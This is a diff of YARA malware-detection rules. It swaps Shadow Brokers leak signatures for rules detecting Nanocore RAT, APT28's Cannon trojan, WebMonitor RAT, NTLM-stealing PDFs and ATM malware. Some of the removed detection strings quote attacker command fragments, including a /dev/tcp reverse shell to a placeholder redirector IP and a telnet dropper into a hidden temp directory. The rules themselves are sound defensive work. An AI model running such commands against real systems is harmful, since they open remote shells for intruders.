 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L164-L178"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "36dc38f2dd630f22b87e8d9130de7d40ee3cdba45597b2b667a1a9536d990aad"
-		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L8-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "09fab3ef1b4ca9092fd69fb09c4ef759946fcb5b84161441bff797bb4009ed00"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
+		hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
 
 	strings:
-		$x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
-		$x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii
+		$x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
+		$x2 = "RunPE1" fullword ascii
+		$x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
+		$x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
+		$x5 = "Monitorinjection" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <100KB and (1 of them )) or (3 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool
+rule SIGNATURE_BASE_Nanocore_RAT_Gen_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.elatedmonkey"
+		description = "Detetcs the Nanocore RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
-		date = "2016-12-17"
+		id = "74124961-3b0e-5808-b495-90437d3a5999"
+		date = "2016-04-22"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L180-L193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8135c07b8c217e81f7618d58c9c3da6585cdb9b8f7afab85bb6556c5b846ba64"
-		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L28-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23b3d149012fb8395b7daa2ecaf3ee66fdeac352ac94d632d76e52df2c6e8ea6"
+		score = 100
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d50485665535454e37cd"
+		hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
 
 	strings:
-		$x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii
+		$x1 = "NanoCore.ClientPluginHost" fullword ascii
+		$x2 = "IClientNetworkHost" fullword ascii
+		$x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Dubmoat
+rule SIGNATURE_BASE_Nanocore_RAT_Sample_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
+		description = "Detetcs a certain Nanocore RAT sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d6c0a00b-dda9-587f-a867-f3b632edd494"
-		date = "2016-12-17"
+		id = "381d3caf-77de-544c-869c-4d9f0cae148f"
+		date = "2016-04-22"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L195-L209"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "368c0a6a1db0003e3a2e4ec5e42a5b5563ea1c2cb89db1751226891e1f7181d8"
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L46-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c74e5fe7e9d4dd7f032281b0e617f2355bc5844acf04a8ffbfd42165c7d9b8e4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
+		hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
 
 	strings:
-		$s1 = "### Verify version on target:" fullword ascii
-		$s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii
+		$x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
+		$x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
+		$x3 = "popthatkitty.Resources.resources" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*))) or ( all of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Strifeworld
+rule SIGNATURE_BASE_Nanocore_RAT_Sample_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file strifeworld.1"
+		description = "Detetcs a certain Nanocore RAT sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a15c2034-8394-5e62-a5f0-d1506c19e585"
-		date = "2016-12-17"
+		id = "81f6771a-29a3-5fa0-8d24-ea717d3c5251"
+		date = "2016-04-22"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L211-L225"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b113b042fd62109ee3ee39515fbd22f3898abf320d75f1288ea88e40b3444c0"
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L64-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "505176b7320e95c652f0b6fdc6fadc3d16ff30115263862ba61209fa2fb82a2d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
+		hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
 
 	strings:
-		$s4 = "-p -n.\" strifeworld" fullword ascii
-		$s5 = "Running STRIFEWORLD not protected" ascii
+		$s1 = "U4tSOtmpM" fullword ascii
+		$s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" wide
+		$s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <40KB and all of ($s*)
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Pork
+rule SIGNATURE_BASE_Nanocore_RAT_Feb18_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.pork.COMMON"
+		description = "Detects Nanocore RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ee5f88b1-6e58-5288-8b80-0d3d188e1ac6"
-		date = "2016-12-17"
+		id = "6db0c8a7-8c31-58a6-8732-de6663fec16b"
+		date = "2018-02-19"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L227-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c3f9f90f83f3672b101e52f36012c485c29840cf0b2ced00087fb27725fd1545"
+		reference = "Internal Research - T2T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L92-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "824fd7304fb298ced69811078aa2dd23d7116554cffb8b6e4b690fccc93a4caf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
+		hash1 = "aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c"
 
 	strings:
-		$x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
-		$s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
-		$s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii
+		$x1 = "NanoCore Client.exe" fullword ascii
+		$x2 = "NanoCore.ClientPluginHost" fullword ascii
+		$s1 = "PluginCommand" fullword ascii
+		$s2 = "FileCommand" fullword ascii
+		$s3 = "PipeExists" fullword ascii
+		$s4 = "PipeCreated" fullword ascii
+		$s5 = "IClientLoggingHost" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 5 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Ebbisland
+rule SIGNATURE_BASE_Nanocore_RAT_Feb18_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
+		description = "Detects Nanocore RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd312ba2-d590-5007-875c-008553c2b1b9"
-		date = "2016-12-17"
+		id = "83a8ad4d-0bef-5ba2-aa10-eac5601f2c7b"
+		date = "2018-02-19"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L244-L258"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a45ea3cd6aeea9299ef67ae82c9f4bf929a961695e7cce344aa1737fa4c07b0"
+		reference = "Internal Research - T2T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nanocore_rat.yar#L117-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c104e431a4ecc0d18d7eb74e7a55d32bf8978ee922637d48f3f6a9466a0f5b1a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd8494146222"
+		hash1 = "377ef8febfd8df1a57a7966043ff0c7b8f3973c2cf666136e6c04080bbf9881a"
 
 	strings:
-		$x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
-		$x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii
+		$s1 = "ResManagerRunnable" fullword ascii
+		$s2 = "TransformRunnable" fullword ascii
+		$s3 = "MethodInfoRunnable" fullword ascii
+		$s4 = "ResRunnable" fullword ascii
+		$s5 = "RunRunnable" fullword ascii
+		$s6 = "AsmRunnable" fullword ascii
+		$s7 = "ReadRunnable" fullword ascii
+		$s8 = "ExitRunnable" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Stoicsurgeon
+rule SIGNATURE_BASE_APT_APT28_Cannon_Trojan_Nov18_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
+		description = "Detects Cannon Trojan used by Sofacy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2ff22b17-4922-54d7-bbd8-a5ff40b6ebe5"
-		date = "2016-12-17"
+		id = "a60f3e75-8bfe-592e-90d1-321bd86173ac"
+		date = "2018-11-20"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L260-L273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "322599ba7d5536b7f0856980a6caab86de66c02da75bf55e97bf129d08c43031"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_cannon.yar#L2-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de8c7bf80fe6209d00955c375b769a3aca138759335abb11f5086f85a4a9c367"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
+		tags = "FILE"
+		hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
 
 	strings:
-		$x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii
+		$xc1 = { 46 6F 72 6D 31 00 63 61 6E 6E 6F 6E 00 4D 44 61
+               74 00 41 55 54 48 }
+		$xc2 = { 13 4F 00 53 00 3A 00 20 00 20 00 7B 00 30 00 7D
+               00 0A 00 00 17 53 00 44 00 69 00 72 00 3A 00 20
+               00 20 00 7B 00 30 00 7D 00 0A 00 00 1B 44 00 6F
+               00 6D 00 61 00 69 00 6E 00 3A 00 20 00 20 00 7B
+               00 30 00 7D 00 0A 00 00 15 48 00 6F 00 73 00 74
+               00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00 21 43
+               00 75 00 72 00 72 00 65 00 6E 00 74 00 55 00 73
+               00 72 00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00
+               17 54 00 69 00 6D 00 65 00 5A 00 3A 00 20 00 7B
+               00 30 00 7D }
+		$x2 = "\\Desktop\\cannon\\obj\\" ascii
+		$x3 = "C:\\Users\\Public\\Music\\s.txt" fullword wide
+		$s1 = "C:\\Documents and Settings\\All Users\\Documents" fullword wide
+		$s2 = "notEncoded - Value here is never used" fullword wide
+		$s3 = "Windows NT\\CurrentVersion\\Winlogon\"" fullword wide
+		$s4 = "AnswerMessageTraverser`1" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of ($x*) or 3 of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Elgingamble
+rule SIGNATURE_BASE_MAL_Webmonitor_RAT : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
+		description = "Detects WebMonitor RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "344e5d5e-9fd6-5a32-ba98-945f5a35a116"
-		date = "2016-12-17"
+		id = "5378f22e-4bba-50e7-8374-5135e980e06b"
+		date = "2018-04-13"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L275-L288"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2f4dd668c59244e92ebfe0e2fc2859b2376cf1dd6fc6522e8f452787aa96365f"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_webmonitor_rat.yar#L1-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbf6368527a7bd841b7679d668d6b77ce720fd0f6bcbd5fa9ff6301ae72199ec"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4130284727ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
+		hash1 = "27aaad8a7b3fd53d99077a9202e8bed05696c843ed2485bea6eb9e33a1c273ac"
+		hash2 = "05111c305028b5d822ecd12de9879560223c42860cc9d448c47886c236648607"
 
 	strings:
-		$x2 = "### Local exploit for" fullword ascii
+		$x1 = "send_keylog_stream_start" fullword wide
+		$x2 = "KEYLOG_STREAM_STOP" fullword wide
+		$s1 = "SHELL_EXEC" fullword wide
+		$s2 = "send_shell_exec" fullword wide
+		$s3 = "send_connections_get" fullword wide
+		$a1 = "Select * from Win32_PerfRawData_PerfProc_Process where IDProcess = '" fullword wide
+		$a2 = "Select * from Win32_Process WHERE handle =" fullword wide
+		$a3 = "Select * from Win32_Process where ProcessId=" fullword wide
+		$a4 = "Select * from Win32_ComputerSystem" fullword wide
+		$a5 = "The service is in the process of being continued" fullword wide
+		$a6 = "tcpdump" fullword wide
+		$a7 = "memdump" fullword wide
+		$a8 = "<val1>Processor</val1>" fullword wide
+		$a9 = "Win32 share process" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or (2 of ($s*) and 2 of ($a*)) or 7 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_README_Cup
+rule SIGNATURE_BASE_SUSP_Bad_PDF : FILE
 {
 	meta:
-		description = "Auto-generated rule - file README.cup.NOPEN"
-		author = "Florian Roth (Nextron Systems)"
-		id = "876f3d99-cc6d-568a-a202-1b4938436303"
-		date = "2016-12-17"
+		description = "Detects PDF that embeds code to steal NTLM hashes"
+		author = "Florian Roth (Nextron Systems), Markus Neis"
+		id = "149cf20c-4cfd-5b07-acc5-06ae25b209b1"
+		date = "2018-05-03"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L290-L304"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd05a23ce29be88c1a459358c984e1317cf56d21e5b378624af644fb2b41931d"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_bad_pdf.yar#L1-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59b159aaccf5c3b64fee17831c1e3a1ca99b60dbb725ad25a4ddad47cdc442d7"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
+		tags = "FILE"
+		hash1 = "d8c502da8a2b8d1c67cb5d61428f273e989424f319cfe805541304bdb7b921a8"
 
 	strings:
-		$s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
-		$s4 = "done after the RAT is killed." fullword ascii
+		$s1 = "         /F (http//" ascii
+		$s2 = "        /F (\\\\\\\\" ascii
+		$s3 = "<</F (\\\\" ascii
 
 	condition:
-		1 of them
+		( uint32(0)==0x46445025 or uint32(0)==0x4450250a) and 1 of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Nopen_Oneshot
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Cryprat_Jan19_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file oneshot.example"
+		description = "Detects CrypRAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6a6b5426-f559-5668-a2ed-982801933302"
-		date = "2016-12-17"
+		id = "f3063a16-8813-5d6c-9807-6a0725907fb5"
+		date = "2019-01-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L306-L319"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19aa32aafaaccc6697bbaff642d996554eccf2261d23071cfb8599ea0eea628b"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_cryp_rat.yar#L3-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69f8a581bae1a2c411e09e8fe01a979645ef897038af868d8e9f2a2ce9188080"
+		score = 90
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
 
 	strings:
-		$s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii
+		$x1 = "Cryp_RAT" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="2524e5e9fe04d7bfe5efb3a5e400fe4b" or 1 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Earlyshovel
+rule SIGNATURE_BASE_ATM_Malware_XFSADM_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d2640f9f-8934-5095-9c30-f24941685c9e"
-		date = "2016-12-17"
+		description = "Detects ATM Malware XFSADM"
+		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+		id = "7bd7e194-1cf1-5d12-809b-25aaf7f62ca3"
+		date = "2019-06-21"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L321-L334"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "396810b439ac53f393ad37a8acbd7236f8325730c75c1a6339e4c6343ecade7a"
+		reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_atm_xfsadm.yar#L1-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2c1761407c5e499be43e546badd27428821f828a470fd3e3dcddd08db04aaa5"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
+		tags = "FILE"
+		hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
 
 	strings:
-		$x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii
+		$Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15}
+		$Code2 = {68 98 01 00 00 50 FF 15}
+		$Mutex = "myXFSADM" wide
+		$MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" ascii
+		$XFSCommand1 = "WfsExecute" ascii
+		$XFSCommand2 = "WfsGetInfo" ascii
+		$PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" ascii
+		$WindowName = "XFS ADM" wide
+		$FindWindow = "ADM rec" wide
+		$LogFile = "xfs.log" ascii
+		$TmpFile = "~pipe.tmp" ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5A4D and filesize <500KB and (4 of them or $PDB)
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Envisioncollision
+import "pe"
+
+rule SIGNATURE_BASE_MAL_PE_Type_Babyshark_Loader : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
+		description = "Detects PE Type babyShark loader mentioned in February 2019 blog post by PaloAltNetworks"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a738e270-a3ea-5d38-8933-797d1bd9036a"
-		date = "2016-12-17"
+		id = "141e7a67-7930-5fd8-ac91-5d31b99e4ff3"
+		date = "2019-02-24"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L336-L352"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "36b2a20ef3a6540a686d7f52c8c885842fd84ba7c7daa74c21e241e25826030e"
+		reference = "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_babyshark.yar#L4-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0ab9a30cb731922d965a9cf58094fea36d5c74b9989324efee603808591ea6a5"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
+		tags = "FILE"
+		hash1 = "6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c"
 
 	strings:
-		$x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
-		$x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
-		$x3 = "-n ENVISIONCOLLISION" ascii
-		$x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii
